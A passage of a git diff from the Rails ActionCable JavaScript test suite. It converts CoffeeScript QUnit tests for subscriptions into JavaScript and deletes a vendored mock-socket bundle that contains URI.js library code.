+      assert.equal(guarantor.pendingSubscriptions.length, 0)
+      guarantor.guarantee(sub)
+      assert.equal(guarantor.pendingSubscriptions.length, 1)
+      guarantor.forget(sub)
+      assert.equal(guarantor.pendingSubscriptions.length, 0)
+    })
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/subscription_test.coffee b/actioncable/test/javascript/src/unit/subscription_test.coffee
deleted file mode 100644
index 07027ed17069d..0000000000000
--- a/actioncable/test/javascript/src/unit/subscription_test.coffee
+++ /dev/null
@@ -1,40 +0,0 @@
-{module, test} = QUnit
-{consumerTest} = ActionCable.TestHelpers
-
-module "ActionCable.Subscription", ->
-  consumerTest "#initialized callback", ({server, consumer, assert, done}) ->
-    consumer.subscriptions.create "chat",
-      initialized: ->
-        assert.ok true
-        done()
-
-  consumerTest "#connected callback", ({server, consumer, assert, done}) ->
-    subscription = consumer.subscriptions.create "chat",
-      connected: ->
-        assert.ok true
-        done()
-
-    server.broadcastTo(subscription, message_type: "confirmation")
-
-  consumerTest "#disconnected callback", ({server, consumer, assert, done}) ->
-    subscription = consumer.subscriptions.create "chat",
-      disconnected: ->
-        assert.ok true
-        done()
-
-    server.broadcastTo subscription, message_type: "confirmation", ->
-      server.close()
-
-  consumerTest "#perform", ({consumer, server, assert, done}) ->
-    subscription = consumer.subscriptions.create "chat",
-      connected: ->
-        @perform(publish: "hi")
-
-    server.on "message", (message) ->
-      data = JSON.parse(message)
-      assert.equal data.identifier, subscription.identifier
-      assert.equal data.command, "message"
-      assert.deepEqual data.data, JSON.stringify(action: { publish: "hi" })
-      done()
-
-    server.broadcastTo(subscription, message_type: "confirmation")
diff --git a/actioncable/test/javascript/src/unit/subscription_test.js b/actioncable/test/javascript/src/unit/subscription_test.js
new file mode 100644
index 0000000000000..f1c2efabad33e
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/subscription_test.js
@@ -0,0 +1,68 @@
+import consumerTest from "../test_helpers/consumer_test_helper"
+
+const {module} = QUnit
+
+module("ActionCable.Subscription", () => {
+  consumerTest("#initialized callback", ({server, consumer, assert, done}) =>
+    consumer.subscriptions.create("chat", {
+      initialized() {
+        assert.ok(true)
+        done()
+      }
+    })
+  )
+
+  consumerTest("#connected callback", ({server, consumer, assert, done}) => {
+    const subscription = consumer.subscriptions.create("chat", {
+      connected({reconnected}) {
+        assert.ok(true)
+        assert.notOk(reconnected)
+        done()
+      }
+    })
+
+    server.broadcastTo(subscription, {message_type: "confirmation"})
+  })
+
+  consumerTest("#connected callback (handling reconnects)", ({server, consumer, connection, monitor, assert, done}) => {
+    const subscription = consumer.subscriptions.create("chat", {
+      connected({reconnected}) {
+        assert.ok(reconnected)
+        done()
+      }
+    })
+
+    monitor.reconnectAttempts = 1
+    server.broadcastTo(subscription, {message_type: "welcome"})
+    server.broadcastTo(subscription, {message_type: "confirmation"})
+  })
+
+  consumerTest("#disconnected callback", ({server, consumer, assert, done}) => {
+    const subscription = consumer.subscriptions.create("chat", {
+      disconnected() {
+        assert.ok(true)
+        done()
+      }
+    })
+
+    server.broadcastTo(subscription, {message_type: "confirmation"}, () => server.close())
+  })
+
+  consumerTest("#perform", ({consumer, server, assert, done}) => {
+    const subscription = consumer.subscriptions.create("chat", {
+      connected() {
+        this.perform({publish: "hi"})
+      }
+    })
+
+    server.on("message", (message) => {
+      const data = JSON.parse(message)
+      assert.equal(data.identifier, subscription.identifier)
+      assert.equal(data.command, "message")
+      assert.deepEqual(data.data, JSON.stringify({action: { publish: "hi" }}))
+      done()
+    })
+
+    server.broadcastTo(subscription, {message_type: "confirmation"})
+  })
+})
diff --git a/actioncable/test/javascript/src/unit/subscriptions_test.coffee b/actioncable/test/javascript/src/unit/subscriptions_test.coffee
deleted file mode 100644
index 170b370e4a036..0000000000000
--- a/actioncable/test/javascript/src/unit/subscriptions_test.coffee
+++ /dev/null
@@ -1,25 +0,0 @@
-{module, test} = QUnit
-{consumerTest} = ActionCable.TestHelpers
-
-module "ActionCable.Subscriptions", ->
-  consumerTest "create subscription with channel string", ({consumer, server, assert, done}) ->
-    channel = "chat"
-
-    server.on "message", (message) ->
-      data = JSON.parse(message)
-      assert.equal data.command, "subscribe"
-      assert.equal data.identifier, JSON.stringify({channel})
-      done()
-
-    consumer.subscriptions.create(channel)
-
-  consumerTest "create subscription with channel object", ({consumer, server, assert, done}) ->
-    channel = channel: "chat", room: "action"
-
-    server.on "message", (message) ->
-      data = JSON.parse(message)
-      assert.equal data.command, "subscribe"
-      assert.equal data.identifier, JSON.stringify(channel)
-      done()
-
-    consumer.subscriptions.create(channel)
diff --git a/actioncable/test/javascript/src/unit/subscriptions_test.js b/actioncable/test/javascript/src/unit/subscriptions_test.js
new file mode 100644
index 0000000000000..33af5d4d824bf
--- /dev/null
+++ b/actioncable/test/javascript/src/unit/subscriptions_test.js
@@ -0,0 +1,31 @@
+import consumerTest from "../test_helpers/consumer_test_helper"
+
+const {module} = QUnit
+
+module("ActionCable.Subscriptions", () => {
+  consumerTest("create subscription with channel string", ({consumer, server, assert, done}) => {
+    const channel = "chat"
+
+    server.on("message", (message) => {
+      const data = JSON.parse(message)
+      assert.equal(data.command, "subscribe")
+      assert.equal(data.identifier, JSON.stringify({channel}))
+      done()
+    })
+
+    consumer.subscriptions.create(channel)
+  })
+
+  consumerTest("create subscription with channel object", ({consumer, server, assert, done}) => {
+    const channel = {channel: "chat", room: "action"}
+
+    server.on("message", (message) => {
+      const data = JSON.parse(message)
+      assert.equal(data.command, "subscribe")
+      assert.equal(data.identifier, JSON.stringify(channel))
+      done()
+    })
+
+    consumer.subscriptions.create(channel)
+  })
+})
diff --git a/actioncable/test/javascript/vendor/mock-socket.js b/actioncable/test/javascript/vendor/mock-socket.js
deleted file mode 100644
index b465c8b53fa68..0000000000000
--- a/actioncable/test/javascript/vendor/mock-socket.js
+++ /dev/null
@@ -1,4533 +0,0 @@
-(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
-/*!
- * URI.js - Mutating URLs
- * IPv6 Support
- *
- * Version: 1.17.0
- *
- * Author: Rodney Rehm
- * Web: http://medialize.github.io/URI.js/
- *
- * Licensed under
- *   MIT License http://www.opensource.org/licenses/mit-license
- *   GPL v3 http://opensource.org/licenses/GPL-3.0
- *
- */
-
-(function (root, factory) {
-  'use strict';
-  // https://github.com/umdjs/umd/blob/master/returnExports.js
-  if (typeof exports === 'object') {
-    // Node
-    module.exports = factory();
-  } else if (typeof define === 'function' && define.amd) {
-    // AMD. Register as an anonymous module.
-    define(factory);
-  } else {
-    // Browser globals (root is window)
-    root.IPv6 = factory(root);
-  }
-}(this, function (root) {
-  'use strict';
-
-  /*
-  var _in = "fe80:0000:0000:0000:0204:61ff:fe9d:f156";
-  var _out = IPv6.best(_in);
-  var _expected = "fe80::204:61ff:fe9d:f156";
-
-  console.log(_in, _out, _expected, _out === _expected);
-  */
-
-  // save current IPv6 variable, if any
-  var _IPv6 = root && root.IPv6;
-
-  function bestPresentation(address) {
-    // based on:
-    // Javascript to test an IPv6 address for proper format, and to
-    // present the "best text representation" according to IETF Draft RFC at
-    // http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04
-    // 8 Feb 2010 Rich Brown, Dartware, LLC
-    // Please feel free to use this code as long as you provide a link to
-    // http://www.intermapper.com
-    // http://intermapper.com/support/tools/IPV6-Validator.aspx
-    // http://download.dartware.com/thirdparty/ipv6validator.js
-
-    var _address = address.toLowerCase();
-    var segments = _address.split(':');
-    var length = segments.length;
-    var total = 8;
-
-    // trim colons (:: or ::a:b:c… or …a:b:c::)
-    if (segments[0] === '' && segments[1] === '' && segments[2] === '') {
-      // must have been ::
-      // remove first two items
-      segments.shift();
-      segments.shift();
-    } else if (segments[0] === '' && segments[1] === '') {
-      // must have been ::xxxx
-      // remove the first item
-      segments.shift();
-    } else if (segments[length - 1] === '' && segments[length - 2] === '') {
-      // must have been xxxx::
-      segments.pop();
-    }
-
-    length = segments.length;
-
-    // adjust total segments for IPv4 trailer
-    if (segments[length - 1].indexOf('.') !== -1) {
-      // found a "." which means IPv4
-      total = 7;
-    }
-
-    // fill empty segments them with "0000"
-    var pos;
-    for (pos = 0; pos < length; pos++) {
-      if (segments[pos] === '') {
-        break;
-      }
-    }
-
-    if (pos < total) {
-      segments.splice(pos, 1, '0000');
-      while (segments.length < total) {
-        segments.splice(pos, 0, '0000');
-      }
-
-      length = segments.length;
-    }
-
-    // strip leading zeros
-    var _segments;
-    for (var i = 0; i < total; i++) {
-      _segments = segments[i].split('');
-      for (var j = 0; j < 3 ; j++) {
-        if (_segments[0] === '0' && _segments.length > 1) {
-          _segments.splice(0,1);
-        } else {
-          break;
-        }
-      }
-
-      segments[i] = _segments.join('');
-    }
-
-    // find longest sequence of zeroes and coalesce them into one segment
-    var best = -1;
-    var _best = 0;
-    var _current = 0;
-    var current = -1;
-    var inzeroes = false;
-    // i; already declared
-
-    for (i = 0; i < total; i++) {
-      if (inzeroes) {
-        if (segments[i] === '0') {
-          _current += 1;
-        } else {
-          inzeroes = false;
-          if (_current > _best) {
-            best = current;
-            _best = _current;
-          }
-        }
-      } else {
-        if (segments[i] === '0') {
-          inzeroes = true;
-          current = i;
-          _current = 1;
-        }
-      }
-    }
-
-    if (_current > _best) {
-      best = current;
-      _best = _current;
-    }
-
-    if (_best > 1) {
-      segments.splice(best, _best, '');
-    }
-
-    length = segments.length;
-
-    // assemble remaining segments
-    var result = '';
-    if (segments[0] === '')  {
-      result = ':';
-    }
-
-    for (i = 0; i < length; i++) {
-      result += segments[i];
-      if (i === length - 1) {
-        break;
-      }
-
-      result += ':';
-    }
-
-    if (segments[length - 1] === '') {
-      result += ':';
-    }
-
-    return result;
-  }
-
-  function noConflict() {
-    /*jshint validthis: true */
-    if (root.IPv6 === this) {
-      root.IPv6 = _IPv6;
-    }
-  
-    return this;
-  }
-
-  return {
-    best: bestPresentation,
-    noConflict: noConflict
-  };
-}));
-
-},{}],2:[function(require,module,exports){
-/*!
- * URI.js - Mutating URLs
- * Second Level Domain (SLD) Support
- *
- * Version: 1.17.0
- *
- * Author: Rodney Rehm
- * Web: http://medialize.github.io/URI.js/
- *
- * Licensed under
- *   MIT License http://www.opensource.org/licenses/mit-license
- *   GPL v3 http://opensource.org/licenses/GPL-3.0
- *
- */
-
-(function (root, factory) {
-  'use strict';
-  // https://github.com/umdjs/umd/blob/master/returnExports.js
-  if (typeof exports === 'object') {
-    // Node
-    module.exports = factory();
-  } else if (typeof define === 'function' && define.amd) {
-    // AMD. Register as an anonymous module.
-    define(factory);
-  } else {
-    // Browser globals (root is window)
-    root.SecondLevelDomains = factory(root);
-  }
-}(this, function (root) {
-  'use strict';
-
-  // save current SecondLevelDomains variable, if any
-  var _SecondLevelDomains = root && root.SecondLevelDomains;
-
-  var SLD = {
-    // list of known Second Level Domains
-    // converted list of SLDs from https://github.com/gavingmiller/second-level-domains
-    // ----
-    // publicsuffix.org is more current and actually used by a couple of browsers internally.
-    // downside is it also contains domains like "dyndns.org" - which is fine for the security
-    // issues browser have to deal with (SOP for cookies, etc) - but is way overboard for URI.js
-    // ----
-    list: {
-      'ac':' com gov mil net org ',
-      'ae':' ac co gov mil name net org pro sch ',
-      'af':' com edu gov net org ',
-      'al':' com edu gov mil net org ',
-      'ao':' co ed gv it og pb ',
-      'ar':' com edu gob gov int mil net org tur ',
-      'at':' ac co gv or ',
-      'au':' asn com csiro edu gov id net org ',
-      'ba':' co com edu gov mil net org rs unbi unmo unsa untz unze ',
-      'bb':' biz co com edu gov info net org store tv ',
-      'bh':' biz cc com edu gov info net org ',
-      'bn':' com edu gov net org ',
-      'bo':' com edu gob gov int mil net org tv ',
-      'br':' adm adv agr am arq art ato b bio blog bmd cim cng cnt com coop ecn edu eng esp etc eti far flog fm fnd fot fst g12 ggf gov imb ind inf jor jus lel mat med mil mus net nom not ntr odo org ppg pro psc psi qsl rec slg srv tmp trd tur tv vet vlog wiki zlg ',
-      'bs':' com edu gov net org ',
-      'bz':' du et om ov rg ',
-      'ca':' ab bc mb nb nf nl ns nt nu on pe qc sk yk ',
-      'ck':' biz co edu gen gov info net org ',
-      'cn':' ac ah bj com cq edu fj gd gov gs gx gz ha hb he hi hl hn jl js jx ln mil net nm nx org qh sc sd sh sn sx tj tw xj xz yn zj ',
-      'co':' com edu gov mil net nom org ',
-      'cr':' ac c co ed fi go or sa ',
-      'cy':' ac biz com ekloges gov ltd name net org parliament press pro tm ',
-      'do':' art com edu gob gov mil net org sld web ',
-      'dz':' art asso com edu gov net org pol ',
-      'ec':' com edu fin gov info med mil net org pro ',
-      'eg':' com edu eun gov mil name net org sci ',
-      'er':' com edu gov ind mil net org rochest w ',
-      'es':' com edu gob nom org ',
-      'et':' biz com edu gov info name net org ',
-      'fj':' ac biz com info mil name net org pro ',
-      'fk':' ac co gov net nom org ',
-      'fr':' asso com f gouv nom prd presse tm ',
-      'gg':' co net org ',
-      'gh':' com edu gov mil org ',
-      'gn':' ac com gov net org ',
-      'gr':' com edu gov mil net org ',
-      'gt':' com edu gob ind mil net org ',
-      'gu':' com edu gov net org ',
-      'hk':' com edu gov idv net org ',
-      'hu':' 2000 agrar bolt casino city co erotica erotika film forum games hotel info ingatlan jogasz konyvelo lakas media news org priv reklam sex shop sport suli szex tm tozsde utazas video ',
-      'id':' ac co go mil net or sch web ',
-      'il':' ac co gov idf k12 muni net org ',
-      'in':' ac co edu ernet firm gen gov i ind mil net nic org res ',
-      'iq':' com edu gov i mil net org ',
-      'ir':' ac co dnssec gov i id net org sch ',
-      'it':' edu gov ',
-      'je':' co net org ',
-      'jo':' com edu gov mil name net org sch ',
-      'jp':' ac ad co ed go gr lg ne or ',
-      'ke':' ac co go info me mobi ne or sc ',
-      'kh':' com edu gov mil net org per ',
-      'ki':' biz com de edu gov info mob net org tel ',
-      'km':' asso com coop edu gouv k medecin mil nom notaires pharmaciens presse tm veterinaire ',
-      'kn':' edu gov net org ',
-      'kr':' ac busan chungbuk chungnam co daegu daejeon es gangwon go gwangju gyeongbuk gyeonggi gyeongnam hs incheon jeju jeonbuk jeonnam k kg mil ms ne or pe re sc seoul ulsan ',
-      'kw':' com edu gov net org ',
-      'ky':' com edu gov net org ',
-      'kz':' com edu gov mil net org ',
-      'lb':' com edu gov net org ',
-      'lk':' assn com edu gov grp hotel int ltd net ngo org sch soc web ',
-      'lr':' com edu gov net org ',
-      'lv':' asn com conf edu gov id mil net org ',
-      'ly':' com edu gov id med net org plc sch ',
-      'ma':' ac co gov m net org press ',
-      'mc':' asso tm ',
-      'me':' ac co edu gov its net org priv ',
-      'mg':' com edu gov mil nom org prd tm ',
-      'mk':' com edu gov inf name net org pro ',
-      'ml':' com edu gov net org presse ',
-      'mn':' edu gov org ',
-      'mo':' com edu gov net org ',
-      'mt':' com edu gov net org ',
-      'mv':' aero biz com coop edu gov info int mil museum name net org pro ',
-      'mw':' ac co com coop edu gov int museum net org ',
-      'mx':' com edu gob net org ',
-      'my':' com edu gov mil name net org sch ',
-      'nf':' arts com firm info net other per rec store web ',
-      'ng':' biz com edu gov mil mobi name net org sch ',
-      'ni':' ac co com edu gob mil net nom org ',
-      'np':' com edu gov mil net org ',
-      'nr':' biz com edu gov info net org ',
-      'om':' ac biz co com edu gov med mil museum net org pro sch ',
-      'pe':' com edu gob mil net nom org sld ',
-      'ph':' com edu gov i mil net ngo org ',
-      'pk':' biz com edu fam gob gok gon gop gos gov net org web ',
-      'pl':' art bialystok biz com edu gda gdansk gorzow gov info katowice krakow lodz lublin mil net ngo olsztyn org poznan pwr radom slupsk szczecin torun warszawa waw wroc wroclaw zgora ',
-      'pr':' ac biz com edu est gov info isla name net org pro prof ',
-      'ps':' com edu gov net org plo sec ',
-      'pw':' belau co ed go ne or ',
-      'ro':' arts com firm info nom nt org rec store tm www ',
-      'rs':' ac co edu gov in org ',
-      'sb':' com edu gov net org ',
-      'sc':' com edu gov net org ',
-      'sh':' co com edu gov net nom org ',
-      'sl':' com edu gov net org ',
-      'st':' co com consulado edu embaixada gov mil net org principe saotome store ',
-      'sv':' com edu gob org red ',
-      'sz':' ac co org ',
-      'tr':' av bbs bel biz com dr edu gen gov info k12 name net org pol tel tsk tv web ',
-      'tt':' aero biz cat co com coop edu gov info int jobs mil mobi museum name net org pro tel travel ',
-      'tw':' club com ebiz edu game gov idv mil net org ',
-      'mu':' ac co com gov net or org ',
-      'mz':' ac co edu gov org ',
-      'na':' co com ',
-      'nz':' ac co cri geek gen govt health iwi maori mil net org parliament school ',
-      'pa':' abo ac com edu gob ing med net nom org sld ',
-      'pt':' com edu gov int net nome org publ ',
-      'py':' com edu gov mil net org ',
-      'qa':' com edu gov mil net org ',
-      're':' asso com nom ',
-      'ru':' ac adygeya altai amur arkhangelsk astrakhan bashkiria belgorod bir bryansk buryatia cbg chel chelyabinsk chita chukotka chuvashia com dagestan e-burg edu gov grozny int irkutsk ivanovo izhevsk jar joshkar-ola kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov koenig komi kostroma kranoyarsk kuban kurgan kursk lipetsk magadan mari mari-el marine mil mordovia mosreg msk murmansk nalchik net nnov nov novosibirsk nsk omsk orenburg org oryol penza perm pp pskov ptz rnd ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver tyumen udm udmurtia ulan-ude vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yekaterinburg yuzhno-sakhalinsk ',
-      'rw':' ac co com edu gouv gov int mil net ',
-      'sa':' com edu gov med net org pub sch ',
-      'sd':' com edu gov info med net org tv ',
-      'se':' a ac b bd c d e f g h i k l m n o org p parti pp press r s t tm u w x y z ',
-      'sg':' com edu gov idn net org per ',
-      'sn':' art com edu gouv org perso univ ',
-      'sy':' com edu gov mil net news org ',
-      'th':' ac co go in mi net or ',
-      'tj':' ac biz co com edu go gov info int mil name net nic org test web ',
-      'tn':' agrinet com defense edunet ens fin gov ind info intl mincom nat net org perso rnrt rns rnu tourism ',
-      'tz':' ac co go ne or ',
-      'ua':' biz cherkassy chernigov chernovtsy ck cn co com crimea cv dn dnepropetrovsk donetsk dp edu gov if in ivano-frankivsk kh kharkov kherson khmelnitskiy kiev kirovograd km kr ks kv lg lugansk lutsk lviv me mk net nikolaev od odessa org pl poltava pp rovno rv sebastopol sumy te ternopil uzhgorod vinnica vn zaporizhzhe zhitomir zp zt ',
-      'ug':' ac co go ne or org sc ',
-      'uk':' ac bl british-library co cym gov govt icnet jet lea ltd me mil mod national-library-scotland nel net nhs nic nls org orgn parliament plc police sch scot soc ',
-      'us':' dni fed isa kids nsn ',
-      'uy':' com edu gub mil net org ',
-      've':' co com edu gob info mil net org web ',
-      'vi':' co com k12 net org ',
-      'vn':' ac biz com edu gov health info int name net org pro ',
-      'ye':' co com gov ltd me net org plc ',
-      'yu':' ac co edu gov org ',
-      'za':' ac agric alt bourse city co cybernet db edu gov grondar iaccess imt inca landesign law mil net ngo nis nom olivetti org pix school tm web ',
-      'zm':' ac co com edu gov net org sch '
-    },
-    // gorhill 2013-10-25: Using indexOf() instead Regexp(). Significant boost
-    // in both performance and memory footprint. No initialization required.
-    // http://jsperf.com/uri-js-sld-regex-vs-binary-search/4
-    // Following methods use lastIndexOf() rather than array.split() in order
-    // to avoid any memory allocations.
-    has: function(domain) {
-      var tldOffset = domain.lastIndexOf('.');
-      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
-        return false;
-      }
-      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
-      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {
-        return false;
-      }
-      var sldList = SLD.list[domain.slice(tldOffset+1)];
-      if (!sldList) {
-        return false;
-      }
-      return sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') >= 0;
-    },
-    is: function(domain) {
-      var tldOffset = domain.lastIndexOf('.');
-      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
-        return false;
-      }
-      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
-      if (sldOffset >= 0) {
-        return false;
-      }
-      var sldList = SLD.list[domain.slice(tldOffset+1)];
-      if (!sldList) {
-        return false;
-      }
-      return sldList.indexOf(' ' + domain.slice(0, tldOffset) + ' ') >= 0;
-    },
-    get: function(domain) {
-      var tldOffset = domain.lastIndexOf('.');
-      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
-        return null;
-      }
-      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
-      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {
-        return null;
-      }
-      var sldList = SLD.list[domain.slice(tldOffset+1)];
-      if (!sldList) {
-        return null;
-      }
-      if (sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') < 0) {
-        return null;
-      }
-      return domain.slice(sldOffset+1);
-    },
-    noConflict: function(){
-      if (root.SecondLevelDomains === this) {
-        root.SecondLevelDomains = _SecondLevelDomains;
-      }
-      return this;
-    }
-  };
-
-  return SLD;
-}));
-
-},{}],3:[function(require,module,exports){
-/*!
- * URI.js - Mutating URLs
- *
- * Version: 1.17.0
- *
- * Author: Rodney Rehm
- * Web: http://medialize.github.io/URI.js/
- *
- * Licensed under
- *   MIT License http://www.opensource.org/licenses/mit-license
- *   GPL v3 http://opensource.org/licenses/GPL-3.0
- *
- */
-(function (root, factory) {
-  'use strict';
-  // https://github.com/umdjs/umd/blob/master/returnExports.js
-  if (typeof exports === 'object') {
-    // Node
-    module.exports = factory(require('./punycode'), require('./IPv6'), require('./SecondLevelDomains'));
-  } else if (typeof define === 'function' && define.amd) {
-    // AMD. Register as an anonymous module.
-    define(['./punycode', './IPv6', './SecondLevelDomains'], factory);
-  } else {
-    // Browser globals (root is window)
-    root.URI = factory(root.punycode, root.IPv6, root.SecondLevelDomains, root);
-  }
-}(this, function (punycode, IPv6, SLD, root) {
-  'use strict';
-  /*global location, escape, unescape */
-  // FIXME: v2.0.0 renamce non-camelCase properties to uppercase
-  /*jshint camelcase: false */
-
-  // save current URI variable, if any
-  var _URI = root && root.URI;
-
-  function URI(url, base) {
-    var _urlSupplied = arguments.length >= 1;
-    var _baseSupplied = arguments.length >= 2;
-
-    // Allow instantiation without the 'new' keyword
-    if (!(this instanceof URI)) {
-      if (_urlSupplied) {
-        if (_baseSupplied) {
-          return new URI(url, base);
-        }
-
-        return new URI(url);
-      }
-
-      return new URI();
-    }
-
-    if (url === undefined) {
-      if (_urlSupplied) {
-        throw new TypeError('undefined is not a valid argument for URI');
-      }
-
-      if (typeof location !== 'undefined') {
-        url = location.href + '';
-      } else {
-        url = '';
-      }
-    }
-
-    this.href(url);
-
-    // resolve to base according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#constructor
-    if (base !== undefined) {
-      return this.absoluteTo(base);
-    }
-
-    return this;
-  }
-
-  URI.version = '1.17.0';
-
-  var p = URI.prototype;
-  var hasOwn = Object.prototype.hasOwnProperty;
-
-  function escapeRegEx(string) {
-    // https://github.com/medialize/URI.js/commit/85ac21783c11f8ccab06106dba9735a31a86924d#commitcomment-821963
-    return string.replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
-  }
-
-  function getType(value) {
-    // IE8 doesn't return [Object Undefined] but [Object Object] for undefined value
-    if (value === undefined) {
-      return 'Undefined';
-    }
-
-    return String(Object.prototype.toString.call(value)).slice(8, -1);
-  }
-
-  function isArray(obj) {
-    return getType(obj) === 'Array';
-  }
-
-  function filterArrayValues(data, value) {
-    var lookup = {};
-    var i, length;
-
-    if (getType(value) === 'RegExp') {
-      lookup = null;
-    } else if (isArray(value)) {
-      for (i = 0, length = value.length; i < length; i++) {
-        lookup[value[i]] = true;
-      }
-    } else {
-      lookup[value] = true;
-    }
-
-    for (i = 0, length = data.length; i < length; i++) {
-      /*jshint laxbreak: true */
-      var _match = lookup && lookup[data[i]] !== undefined
-        || !lookup && value.test(data[i]);
-      /*jshint laxbreak: false */
-      if (_match) {
-        data.splice(i, 1);
-        length--;
-        i--;
-      }
-    }
-
-    return data;
-  }
-
-  function arrayContains(list, value) {
-    var i, length;
-
-    // value may be string, number, array, regexp
-    if (isArray(value)) {
-      // Note: this can be optimized to O(n) (instead of current O(m * n))
-      for (i = 0, length = value.length; i < length; i++) {
-        if (!arrayContains(list, value[i])) {
-          return false;
-        }
-      }
-
-      return true;
-    }
-
-    var _type = getType(value);
-    for (i = 0, length = list.length; i < length; i++) {
-      if (_type === 'RegExp') {
-        if (typeof list[i] === 'string' && list[i].match(value)) {
-          return true;
-        }
-      } else if (list[i] === value) {
-        return true;
-      }
-    }
-
-    return false;
-  }
-
-  function arraysEqual(one, two) {
-    if (!isArray(one) || !isArray(two)) {
-      return false;
-    }
-
-    // arrays can't be equal if they have different amount of content
-    if (one.length !== two.length) {
-      return false;
-    }
-
-    one.sort();
-    two.sort();
-
-    for (var i = 0, l = one.length; i < l; i++) {
-      if (one[i] !== two[i]) {
-        return false;
-      }
-    }
-
-    return true;
-  }
-
-  function trimSlashes(text) {
-    var trim_expression = /^\/+|\/+$/g;
-    return text.replace(trim_expression, '');
-  }
-
-  URI._parts = function() {
-    return {
-      protocol: null,
-      username: null,
-      password: null,
-      hostname: null,
-      urn: null,
-      port: null,
-      path: null,
-      query: null,
-      fragment: null,
-      // state
-      duplicateQueryParameters: URI.duplicateQueryParameters,
-      escapeQuerySpace: URI.escapeQuerySpace
-    };
-  };
-  // state: allow duplicate query parameters (a=1&a=1)
-  URI.duplicateQueryParameters = false;
-  // state: replaces + with %20 (space in query strings)
-  URI.escapeQuerySpace = true;
-  // static properties
-  URI.protocol_expression = /^[a-z][a-z0-9.+-]*$/i;
-  URI.idn_expression = /[^a-z0-9\.-]/i;
-  URI.punycode_expression = /(xn--)/i;
-  // well, 333.444.555.666 matches, but it sure ain't no IPv4 - do we care?
-  URI.ip4_expression = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
-  // credits to Rich Brown
-  // source: http://forums.intermapper.com/viewtopic.php?p=1096#1096
-  // specification: http://www.ietf.org/rfc/rfc4291.txt
-  URI.ip6_expression = /^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/;
-  // expression used is "gruber revised" (@gruber v2) determined to be the
-  // best solution in a regex-golf we did a couple of ages ago at
-  // * http://mathiasbynens.be/demo/url-regex
-  // * http://rodneyrehm.de/t/url-regex.html
-  URI.find_uri_expression = /\b((?:[a-z][\w-]+:(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“�‘’]))/ig;
-  URI.findUri = {
-    // valid "scheme://" or "www."
-    start: /\b(?:([a-z][a-z0-9.+-]*:\/\/)|www\.)/gi,
-    // everything up to the next whitespace
-    end: /[\s\r\n]|$/,
-    // trim trailing punctuation captured by end RegExp
-    trim: /[`!()\[\]{};:'".,<>?«»“�„‘’]+$/
-  };
-  // http://www.iana.org/assignments/uri-schemes.html
-  // http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports
-  URI.defaultPorts = {
-    http: '80',
-    https: '443',
-    ftp: '21',
-    gopher: '70',
